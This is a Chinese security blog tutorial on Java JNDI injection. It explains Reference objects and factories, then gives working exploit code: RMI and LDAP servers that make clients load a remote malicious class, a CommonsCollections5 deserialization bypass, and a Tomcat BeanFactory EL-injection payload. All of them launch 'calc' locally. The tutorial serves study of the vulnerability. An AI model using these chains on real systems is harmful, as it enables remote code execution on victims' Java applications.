JNDI注入

简介:

JNDI是java命名与目录接口(java Naming and Directory Interface),类似于一个字典,将一些服务与逻辑名称绑定。当使用JNDI,应用程序可以通过逻辑名称而不是物理位置来查找和访问各种资源,这有助于提高应用程序的可移植性和灵活性。

JNDI 体系结构由 API 和服务提供者接口 (SPI) 组成。Java 应用程序使用 JNDI API 来访问各种命名和目录服务。SPI 允许透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问其服务。如下图所示:

前置知识:

上下文context:

javax.naming 包定义了一个 Context 接口,它是用于查找、绑定/取消绑定、重命名对象以及创建和销毁子上下文的核心接口。通俗理解可以把它理解为上述RMI、DNS等服务的容器,在这个容器内对这些服务进行了绑定。

常用方法:

bind(Name name, Object obj) 
将名称绑定到对象。 
list(String name) 
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
检索命名对象。 
rebind(String name, Object obj) 
将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
取消绑定命名对象。

初始化上下文:

在 JNDI 中,所有命名和目录操作都是相对于上下文执行的。没有绝对的根源。因此,JNDI 定义了一个 InitialContext,它为命名和目录操作提供了一个起点。获得初始上下文后,可以使用它来查找其他上下文和对象。

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。

引用:

1.绑定Reference

JNDI 定义 Reference 类来表示引用。引用包含有关如何构造对象副本的信息。JNDI 将尝试将从目录中查找的引用转换为它们所表示的 Java 对象,以便 JNDI 客户机产生一种错觉,即目录中存储的内容是 Java 对象。

Reference(String className) 
为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

例如:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className – 远程加载时所使用的类名
参数2:Factory – 加载的class中需要实例化类的名称
参数3:FactoryLocation – 提供classes数据的地址可以是file/ftp/http****协议

 2.绑定 Referenceable(可引用对象)

其类实现 Referenceable接口的对象具有关联的引用。 Referenceable 接口有一个方法 getReference(),它返回对象的引用。

下面的示例演示一个 Fruit 类,该类 实现 Referenceable 接口。

public class Fruit implements Referenceable {
    String fruit;
    
    public Fruit(String f) {
	fruit = f;
    }
    
    public Reference getReference() throws NamingException {
	return new Reference(
	    Fruit.class.getName(),
	    new StringRefAddr("fruit", fruit),
	    FruitFactory.class.getName(),
	    null);          // Factory location
    }

    public String toString() {
	return fruit;
    }
}

Fruit 实例的引用包括 单个地址(类 StringRefAddr)。 此地址包含用于创建实例的 fruit 类型。 例如,如果实例是使用 new Fruit(“orange”) 创建的,则 其地址类型为“fruit”,地址内为“orange”。

// Create the object to be bound
Fruit fruit = new Fruit("orange");
//RMI上下文环境,也就是RegistryContext
Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); // RMI服务URL
        Context initialContext = new InitialContext(env);

// Perform bind
ctx.bind("cn=favorite", fruit);

bind()/rebind() 的服务提供者实现首先从被绑定的对象中提取引用 (通过使用 Referenceable.getReference()) 然后将该引用存储在目录中。 当随后从目录中查找该对象时, 会执行其对应的对象工厂中的代码逻辑,将引用转换为 对象的实例 。

//工厂的代码逻辑 
public static class FruitFactory implements ObjectFactory {
        @Override
        public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
            if (obj instanceof Reference) {
                Reference ref = (Reference) obj;
                if (ref.getClassName().equals(FruitSever.class.getName())) {
                    RefAddr addr = ref.get("fruit");
                    if (addr != null) {
                        return new FruitSever((String) addr.getContent());
                    }
                }
            }
            return null;
        }
    }

在调用lookup后的流程

  1. 正在使用的服务提供商(样例中为RMI) 调用 DirectoryManager.getObjectInstance() 并为该方法提供数据(引用) 提供程序从目录中读取条目“cn=favorite”。
  2. 引用将 FruitFactory 标识为 对象工厂的类名。
  3. FruitFactory.getObjectInstance() 返回一个 Fruit 的实例。

 FruitFactory.getObjectInstance() 很简单。 它首先验证它是否可以对数据执行某些操作。 也就是说,它检查数据是否为包含 “fruit”类型的地址,并且引用的对象是 类水果。 如果此验证失败,则工厂返回 null,以便其他 如果有的话,可以尝试工厂。 如果成功,则地址的内容 (在本例中为“橙色”) 用于创建 Fruit 的新实例, 然后返回。

执行结果:

// Read the object back
Fruit f2 = (Fruit) ctx.lookup("cn=favorite");
System.out.println(f2);

//输出orange

对象类型:

JNDI中支持绑定的对象类型有以下五种。

注入手段:

RMI+JNDI:

前段时间刚学了RMI,就从RMI开始写。

demo:
 

//RMI服务端
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIserver {
    public static void main(String[] args) throws Exception{
        IRemoteObj remoteObj = new RemoteObjimpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj",remoteObj);
    }
}
//JNDI服务端
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIserver   {
    public static void main(String[] args) throws RemoteException , AlreadyBoundException , NamingException {
        //初始化上下文
        InitialContext initialContext = new InitialContext();
        //绑定RMI远程对象
        initialContext.rebind("rmi://localhost:1099/obj",new RemoteObjimpl());

    }
}
//JNDI客户端
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIclient {
    public static void main(String[] args) throws RemoteException , NotBoundException, NamingException {
        //初始化上下文
        InitialContext initialContext = new InitialContext();
        //获取远程对象
        IRemoteObj obj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/obj");
        System.out.println(obj.sayHello("1"));

    }
}

开启RMI服务端后,开启JNDI服务端进行绑定,然后就可以启动客户端调用到远程对象。

利用RMI远程对象:

可以看到JNDI也是通过绑定然后调用lookup获取的方法,和RMI是不是很像,所以有没有可能是直接用的原生RMI的lookup,如果是这样的话,那么之前讲的攻击RMI服务的手段都可以用来攻击JNDI。我们调试验证一下。

可以看到最终调用的就是RegistryImpl_Stub的lookup方法,

利用引用对象:

简单实现:
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIserver   {
    public static void main(String[] args) throws RemoteException , AlreadyBoundException , NamingException {
        InitialContext initialContext = new InitialContext();
       // initialContext.rebind("rmi://localhost:1099/obj",new RemoteObjimpl());
        Reference reference = new Reference("hack", "hack", "http://127.0.0.1:7777/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);

    }
}


import java.io.IOException;

public class hack {
    public hack(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

}

将引用对象绑到了本地的url下,hack为我们构造的恶意类,注意不能有包名不然会报错,javac编译之后放到除了客户端和服务端所在目录之外的目录,在该目录用python开启一个web服务,端口就是前面服务端指定的端口

python -m http.server 7777
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIclient {
    public static void main(String[] args) throws RemoteException , NotBoundException, NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/remoteObj");

    }
}

然后调用lookup就能找到并初始化我们的恶意类,执行恶意类中的代码。

流程分析:

到这一步其实没啥区别,也是调用了RegistryImpl_Stub.lookup,但是返回的对象却不一样了。

可以看到返回的使一个ReferenceWrapper_Stub类型,但我们之前绑定的其实是一个reference类型的。

 initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);

原因是在调用rebind时会调用到RegistryContext.rebind()。

可以看到这里真正绑定的是一个加密的对象,在加密的过程中会判断是否为reference类型,是的话就会进行转换。

回到RegistryImpl_Stub.lookup,这里对lookup找到的对象进行了解密,因为按上面说的rebind时进行了加密。

在解密函数中会调用getReference(),返回我们最开始绑定的引用对象

然后调用NamingManager.getObjectInstance,这里值得注意,因为之前我们都是在RMI对应的上下文RegistryContext进行的,但是到了要实例化远程对象时却到了一个公共类NamingManager,也就是说实例化这一部分不同的容器都是统一的,与容器和服务协议无关。后续可以用来绕过。

调用getObjectFactoryFromReference函数

先尝试用Appclassloader进行本地加载 ,我们的恶意类没有放在APP内,所以肯定找不到。

然后会使用codebase进行远程加载

 新建一个URLclassloader并传入codebase,如果我们的恶意代码是写在恶意类的静态代码块,那么此时就会直接执行

如果是写在初始化语句则要实例化时才会执行。

LDAP+JNDI

上面利用RMI的方式以及CORBA在JDK 6u132, JDK 7u122, JDK 8u113后被修复,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。

但是这些都是在具体服务方面加了限制,而我们上文提到过真正进行代码执行的部分是通用的,也就是说LDAP成了漏网之鱼。

demo:
//服务端
package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class JNDILDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#hack"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}
//客户端
package org.example;

import javax.naming.InitialContext;

public class JNDILDAPclient {
    public static void main(String[] args) throws Exception{
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
    }
}

然后与上面类似在恶意类所在目录开启一个web服务,运行即可弹计算器。

分析:

        上述的代码其实并不是通过引用对象与LDAP服务绑定来加载恶意类的,我们可以看到在服务端确实没有绑定的操作。

        服务端定义了内部类 OperationInterceptor,该类继承自 InMemoryOperationInterceptor,用于拦截和处理 LDAP 操作。在拦截器中其实是自己创建了一个引用对象,参数都是人为设置的,当客户端接收到引用对象并且通过引用对象去找真正的对象时就会通过url定向的去加载我们恶意类,因此不管客户端lookup传入参数的末尾是calc还是ca等等,都会弹计算器。

我们调试以下客户端的lookup函数看看

前面都没什么意义,直接快进到LdapCtx.c_lookup

可以看到var4其实就是服务端拦截器中构造的东西,这里被客户端接受并调用decodeObject

进行解密,将引用对象还原出来。

可以看到参数支持上述这些类型

根据var0内部的属性进行判断是引用对象类型 ,最后调用decodeReference。

还原出了引用对象,下面的if判断不会进入,但其实是可以通过参数控制进入if判断并进行类加载的,只是没必要,直接返回var5。

然后调用DirectoryManager.getObjectInstance

再调用getObjectFactoryFromReference

然后就和之前步骤一样,加载类对象。

绕过

在8u191后LDAP也难逃被修复的命运,我们只能从别的地方出发。

1.反序列化

在前文判断类型的这里,我们走的是引用对象的道路,但其实细心的会发现这里有一个反序列化的函数 deserializeObject,只需要在服务端的参数中加上javaSerializedData子段就能调用,而这个子段的值也是我们可控的,所以可以打反序列化。

demo:
//服务端
package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class ccLDAP {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
        String[] args=new String[]{"http://127.0.0.1/#hack"};
        int port = 7777;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData",CommonsCollections5());

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

    private static byte[] CommonsCollections5() throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();

        return byteArrayOutputStream.toByteArray();
    }

}

简单改下服务端,主要是添加了参数

  e.addAttribute("javaSerializedData",CommonsCollections5());

客户端不变即可。

2.利用本地工厂

工厂在前面讲过就是实现将引用对象转换为真正对象的地方,前面利用都是利用了我们自己创建的恶意工厂,但是修复之后不允许加载远程的工厂。那么是否存在本地工厂能被我们利用呢?

tomcat中的beanfactory可以。

在客户端添加依赖

 <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
        <dependency>
            <groupId>org.apache.el</groupId>
            <artifactId>com.springsource.org.apache.el</artifactId>
            <version>7.0.26</version>
        </dependency>
demo:
//服务端
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class LocalJNDI {

    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1090");
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);

    }
}

客户端不变

分析:

快进到获取工厂

调用这个方法,参数都是我们可控的 。

这个方法里面用到了反射,valueArray的值如下

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")

最终执行了el表达式。

  • 19
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值